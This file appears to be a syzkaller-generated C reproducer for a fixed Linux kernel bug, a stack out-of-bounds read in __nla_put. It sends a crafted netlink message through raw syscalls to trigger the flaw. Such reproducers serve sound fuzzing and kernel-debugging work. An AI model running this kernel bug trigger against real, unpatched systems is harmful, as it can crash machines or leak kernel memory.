syzkaller-repros/linux/5ea2c9ac96fc3c1da4d7ee9572c8c7ed229f1b13.c

// KASAN: stack-out-of-bounds Read in __nla_put
// https://syzkaller.appspot.com/bug?id=5ea2c9ac96fc3c1da4d7ee9572c8c7ed229f1b13
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

long r[1];
void loop()
{
  memset(r, -1, sizeof(r));
  syscall(__NR_mmap, 0x20000000, 0xfff000, 3, 0x32, -1, 0);
  r[0] = syscall(__NR_socket, 0x10, 3, 4);
  memcpy((void*)0x20f67000, "\x9a\xdc\x01\xce", 4);
  syscall(__NR_setsockopt, r[0], 0x10e, 0xb, 0x20f67000, 4);
  *(uint64_t*)0x2058efc8 = 0x201e4000;
  *(uint32_t*)0x2058efd0 = 0xc;
  *(uint64_t*)0x2058efd8 = 0x20877000;
  *(uint64_t*)0x2058efe0 = 1;
  *(uint64_t*)0x2058efe8 = 0;
  *(uint64_t*)0x2058eff0 = 0;
  *(uint32_t*)0x2058eff8 = 0;
  *(uint16_t*)0x201e4000 = 0x10;
  *(uint16_t*)0x201e4002 = 0;
  *(uint32_t*)0x201e4004 = 0;
  *(uint32_t*)0x201e4008 = 0;
  *(uint64_t*)0x20877000 = 0x20611000;
  *(uint64_t*)0x20877008 = 0x14;
  *(uint32_t*)0x20611000 = 0x14;
  *(uint8_t*)0x20611004 = 0;
  *(uint8_t*)0x20611005 = 0xb;
  *(uint16_t*)0x20611006 = 0x10c;
  *(uint32_t*)0x20611008 = 0;
  *(uint32_t*)0x2061100c = 0;
  *(uint8_t*)0x20611010 = 0;
  *(uint8_t*)0x20611011 = 0;
  *(uint16_t*)0x20611012 = htobe16(0);
  syscall(__NR_sendmsg, r[0], 0x2058efc8, 0);
}

int main()
{
  loop();
  return 0;
}